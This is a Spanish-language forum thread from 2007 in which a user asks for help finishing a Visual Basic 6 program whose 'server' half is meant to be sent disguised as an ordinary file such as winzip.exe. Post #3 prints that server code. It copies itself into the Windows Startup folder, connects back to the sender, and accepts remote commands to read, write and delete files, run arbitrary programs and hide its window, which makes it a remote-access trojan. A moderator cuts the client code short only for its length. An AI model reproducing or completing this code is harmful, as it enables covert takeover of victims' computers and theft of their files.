Bienvenido: ( Identificarse | Registrarse )      
Foros de Trucos Windows
 
Closed TopicStart new topicStart Poll

Outline · [ Estándar ] · Lineal+

> Proyecto visual basic 6, Ayudanos a terminarlo

- Gábryel -
post Sep 11 2007, 04:48 PM
Publicado: #1


Newbie
*

Grupo: Members
Mensajes: 7
Registrado: 5-September 07
Miembro nº: 210.771



Estoy haciendo, hace rato ya casi un año un cliente servidor pero el servidor se mandaria como un archivo cualquiera ej: (winzip.exe) iria con ese nombre por ejemplo pero cuando se ejecuta da error entonces se intenta conectar al cliente que somos nosotros y tenemos la otra parte del programa.

A que voy a pedirle el que este interesado a terminar este programa?

esta muy bueno.


User is offlineProfile CardPM
Go to the top of the page
+Quote Post
- Gábryel -
post Sep 11 2007, 04:50 PM
Publicado: #2


Newbie
*

Grupo: Members
Mensajes: 7
Registrado: 5-September 07
Miembro nº: 210.771



hahah


User is offlineProfile CardPM
Go to the top of the page
+Quote Post
- Gábryel -
post Sep 11 2007, 04:53 PM
Publicado: #3


Newbie
*

Grupo: Members
Mensajes: 7
Registrado: 5-September 07
Miembro nº: 210.771



'Este es el servidor :
'SOlo lleva el formulario y un text

Dim con As Integer
Dim res, direc As String
Dim linea, direcOR As String
Dim bite As Byte
Dim March() As Byte

Private Sub Form_Load()
On Error Resume Next
direc = Dir("C:\WINDOWS\Menú Inicio\Programas\Inicio\Server.exe")
If direc = "" Then
direcOR = App.Path & "\Server.exe"
FileCopy direcOR, "C:\WINDOWS\Menúin~1\Programas\Inicio\Server.exe"
End If
Winsock1.Close
Winsock1.RemotePort = '"puerto del cliente"
Winsock1.RemoteHost = '"Ip del cliente"
Winsock1.Connect
End Sub
Private Sub Winsock1_Connect()
Text1 = "Conexion establecida"
Winsock1.SendData Text1
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
' Cierra la conexión si está abierta mediante la
' comprobación de la propiedad State.

If Winsock1.State <> sckClosed Then Winsock1.Close

' Pasa el valor del parámetro IdSolicitud
' al método Accept.
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData res, vbString, bytesTotal
'Winsock1.PeekData res, vbString, bytesTotal
'Winsock1.GetData March(), vbByte, bytesTotal
On Error Resume Next
Select Case res = res
Case Mid(LCase(res), 1, 5) = LCase("Leer")
Open Mid(LCase(res), 7) For Input As 1
Do Until EOF(1)
Input #1, linea
Winsock1.SendData linea
Loop
Close #1
Case LCase(res) = LCase("Mostrar")
Form1.Show
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case LCase(res) = LCase("Esconder")
Form1.Hide
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case Mid(LCase(res), 1, 8) = LCase("Ejecutar")
Shell Mid(res, 9)
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case Mid(LCase(res), 1, 8) = LCase("Eliminar")
Kill Mid(res, 10)
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case Mid(LCase(res), 1, 5) = LCase("Crear")
Open Mid(res, 7) For Binary As #1
Close #1
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case Mid(LCase(res), 1, 13) = LCase("Abrir Archivo")
Open Mid(res, 15) For Binary As #1
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case Mid(LCase(res), 1, 8) = LCase("Escribir")
con = con + 1
bite = Mid(res, 10)
Put #1, con, bite
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case Mid(LCase(res), 1, 14) = LCase("Cerrar Archivo")
Close #1
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case Mid(LCase(res), 1, 8) = LCase("Contador")
con = Mid(res, 9)
If Err = 0 Then
Winsock1.SendData "Echo"
End If
Case Mid(LCase(res), 1, 5) = LCase("Salir")
Winsock1.Close
Winsock1.LocalPort = '""
Winsock1.Listen
If Err = 0 Then
Winsock1.SendData "Echo"
End If

Case Mid(LCase(res), 1, 5) = LCase("Virus")
cc = InStr(7, res, "exe")
direcc = Mid(LCase(res), 7, cc - 4)
March() = Mid(March(), cc + 4)

Case Mid(LCase(res), 1, 3) = LCase("Dir")
Dim x As Long
carpArch = Dir(Mid(res, 5), vbArchive + vbDirectory)
Winsock1.SendData "Dir -0- "
Do Until carpArch = ""
x = x + 1
Winsock1.SendData carpArch & " -" & x & "- "
carpArch = Dir
Loop
Case LCase(res) = LCase("Desconectar")

Winsock1.Close
Winsock1.RemotePort = '""
Winsock1.RemoteHost = '""
Winsock1.Connect


End Select
Text1 = res
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
If (Number = 10061) Or (Number = 10065) Then
DoEvents
Winsock1.Close
Winsock1.RemotePort = '""
Winsock1.RemoteHost = '""
Winsock1.Connect
DoEvents
'MsgBox (Number & ": " & Description)
End If
End Sub




User is offlineProfile CardPM
Go to the top of the page
+Quote Post
- Gábryel -
post Sep 11 2007, 05:06 PM
Publicado: #4


Newbie
*

Grupo: Members
Mensajes: 7
Registrado: 5-September 07
Miembro nº: 210.771



'Este es el cliente es decir el programa que vamos a tener nosotros
'ese lleva (3 formulario llamados "Cliente","Configuracion","opcion", un modulo llamado "General", Tambien usa winsock, flexigrip, commondialogo)

'"formulario cliente (copiar esto en un archivo de texto y luego cambiar la extencion por .frm)----------------------------------------------------------------

Manda el código por correo a quien te lo pida pero no coloques tanto código que es molesto y nadie lo revisa así.

Mensaje modificado por RadicalEd el Sep 12 2007, 05:35 PM
User is offlineProfile CardPM
Go to the top of the page
+Quote Post

 
Closed TopicTopic OptionsStart new topic

Collapse

> Topicos similares

Ayuda con proyecto ser_gio 30 1 Aug 18 2008, 04:11 PM
By: Nicelan
Ayuda con visual windows XP k-LiWuLa 150 5 Aug 5 2008, 02:55 PM
By: dark wolf2015
Ayuda con Visual Basic 6.0 yochy20 129 1 Aug 1 2008, 04:17 PM
By: Lokoman.z
visual basic 6.0 xp_assistant 132 0 Jul 27 2008, 08:58 PM
By: xp_assistant
PRoblemas con windows vista home basic betillo 197 1 Jul 22 2008, 06:49 PM
By: vistawin

Google
Web www.trucoswindows.net